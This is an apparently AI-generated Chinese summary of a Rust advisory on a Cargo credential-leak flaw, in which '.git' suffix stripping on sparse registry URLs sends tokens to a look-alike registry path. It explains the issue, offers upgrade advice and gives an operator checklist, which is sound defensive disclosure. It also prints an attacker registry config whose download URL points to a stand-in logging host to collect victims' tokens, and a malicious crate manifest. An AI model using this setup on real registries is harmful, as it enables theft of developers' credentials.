Cargo sparse registry URL 归一化漏洞:一个 `.git` 后缀引发的凭证泄露

2026-05-25 22 预计阅读时间:1 分钟
来源:blog.rust-lang.org AI 摘要 原文链接

免责声明:本文为 AI 摘要整理,建议结合原文阅读。摘要可能省略上下文、版本差异或边界条件,不作为官方说明。

预计阅读时间:8 分钟

Rust 安全响应团队近日披露了 CVE-2026-5222:Cargo 在处理 sparse registry URL 时,错误地将原本只适用于 git 协议的 .git 后缀剥离逻辑套用到了 HTTPS 端,导致在特定条件下攻击者可以窃取同一 registry 内其他用户的 Cargo 凭证。漏洞严重性评级为低——攻击前提极为苛刻,但理解其机制对维护私有 registry 的团队仍有价值。

从 git index 到 sparse index:一段遗留逻辑的旅程

Cargo 最初只支持 git 仓库存储 registry index。大多数 git 托管平台对 https://example.com/indexhttps://example.com/index.git 返回同一仓库,因此 Cargo 在归一化 URL 时会自动去掉 .git 后缀,让这两条 URL 共享同一组凭证。这在 git 协议下完全合理。

Rust 1.68 稳定了 sparse registry——index 不再是 git 仓库,而是直接托管在任意 HTTPS 服务器上的一组静态文件。问题在于:Cargo 没有为新协议重新审视归一化逻辑,.git 后缀剥离被原封不动地带到了 sparse index 的 URL 处理中。

对 HTTPS 服务器而言,/index/index.git 是两条完全不同的路径,可能指向完全不同的内容。Cargo 却认为它们"本质上是同一个 registry",于是把 /index 的凭证也发给了 /index.git

攻击路径拆解

要让攻击真正成立,需要同时满足以下条件:

  1. https://example.com/index 是一个 sparse registry,且允许 crate 依赖来自其他 registry 的 crate。
  2. 攻击者能在 https://example.com/index 上发布 crate
  3. 攻击者能在 https://example.com/index.git 上上传任意文件——这意味着同一域名下攻击者拥有另一个可控的路径或服务。
  4. 托管平台允许同一域名下以任意名称托管多个 registry

满足这些条件后,攻击流程如下:

  • 攻击者将 https://example.com/index.git 配置为一个要求认证的 sparse registry,并将 crate 下载 URL 指向自己控制的记录服务器。
  • 攻击者在 https://example.com/index 上发布 crate foo,令其依赖来自 https://example.com/index.git 的 crate bar
  • 诱使受害者下载 foo。Cargo 归一化后认为两个 URL 共享凭证,于是把受害者原本为 https://example.com/index 配置的 token 发送给 https://example.com/index.git——凭证就此泄露到攻击者的记录服务器。

用一个最小化的 .cargo/config.toml 来还原场景结构:

# .cargo/config.toml — 受害者机器上的 registry 配置

[registry]
default = "my-company"

[registries.my-company]
index = "sparse+https://example.com/index/"
# 受害者为此 registry 配置了认证 token
# token = "cargo-login-xxx"  (实际存储在 credentials.toml 中)

攻击者控制的 index.git 则指向完全不同的后端:

# 攻击者构造的 sparse+https://example.com/index.git/ 的 index 配置
# 该路径下的 config.json 内容(攻击者可上传任意文件):

{
  "dl": "https://attacker-log.example.com/record/{crate}/{version}/download",
  "auth-required": true
}

攻击者发布的 foo crate 依赖声明:

# foo 的 Cargo.toml — 攻击者在 my-company registry 上发布

[package]
name = "foo"
version = "0.1.0"

[dependencies]
bar = { version = "0.1.0", registry = "sparse+https://example.com/index.git" }

当受害者执行 cargo add foo --registry my-company 或构建依赖 foo 的项目时,Cargo 在归一化过程中将 index.git 的 URL 去掉 .git,匹配到 index 的凭证,于是用受害者的 token 去请求攻击者的 dl 服务器。

修复与版本影响

Rust 1.96(计划于 2026 年 5 月 28 日发布)中的 Cargo 将只对使用 git 协议的 registry URL 执行 .git 后缀剥离,sparse registry 的 HTTPS URL 不再被归一化。

受影响范围:Rust 1.68(sparse registry 稳定版本)至 1.95 之间所有 Cargo 版本。旧版本目前没有可用缓解措施——唯一的防护就是升级到 1.96+。

检查当前 Cargo 版本:

cargo --version
# 输出类似:cargo 1.85.0 (d73d2e9dd 2024-12-31)
# 对照 Rust 1.68 = cargo 1.68.0, Rust 1.96 = cargo 1.96.0

如果你维护私有 registry,可以立即做以下排查:

# 检查 credentials.toml 中为哪些 registry 配置了 token
cat ~/.cargo/credentials.toml

# 检查项目中是否引用了多个 registry
grep -r "registry\s*=" Cargo.toml
grep -r "index\s*=" .cargo/config.toml

私有 registry 运维者的自查清单

虽然攻击门槛极高,但如果你运营的是多租户 registry 平台(同一域名下托管多个独立 registry),值得逐项确认:

  • 同一域名下是否存在路径仅差 .git 后缀的两个 registry? 如果是,且其中一个允许任意用户发布 crate,应立即隔离或重命名路径。
  • registry 是否允许 crate 跨 registry 依赖? 如果可以限制为仅依赖自身 registry 的 crate,攻击链的第一步就被切断。
  • .cargo/config.tomlindex URL 是否显式使用了 sparse+ 协议前缀? 确认所有 sparse registry 的 URL 写法一致,避免隐式归一化带来意外匹配。
  • 升级计划: 将 CI 和开发环境的 Rust 工具链纳入 1.96 升级排期。由于旧版本无缓解措施,这是唯一的根本解决路径。
# 使用 rustup 升级到最新 nightly(1.96 稳定前可先验证修复行为)
rustup update nightly
cargo +nightly --version

# 锁定项目工具链为已修复版本(1.96 发布后)
# 在项目根目录执行:
rustup override set 1.96

一个 .git 后缀的归一化遗留,在 git index 时代是无害的便利,在 sparse index 时代却成了凭证泄露的缝隙。这类"协议迁移时未重新审视旧逻辑"的问题,在基础设施演进中并不罕见——每次扩展新协议,都值得回头检查每一层隐含假设是否仍然成立。


相关推荐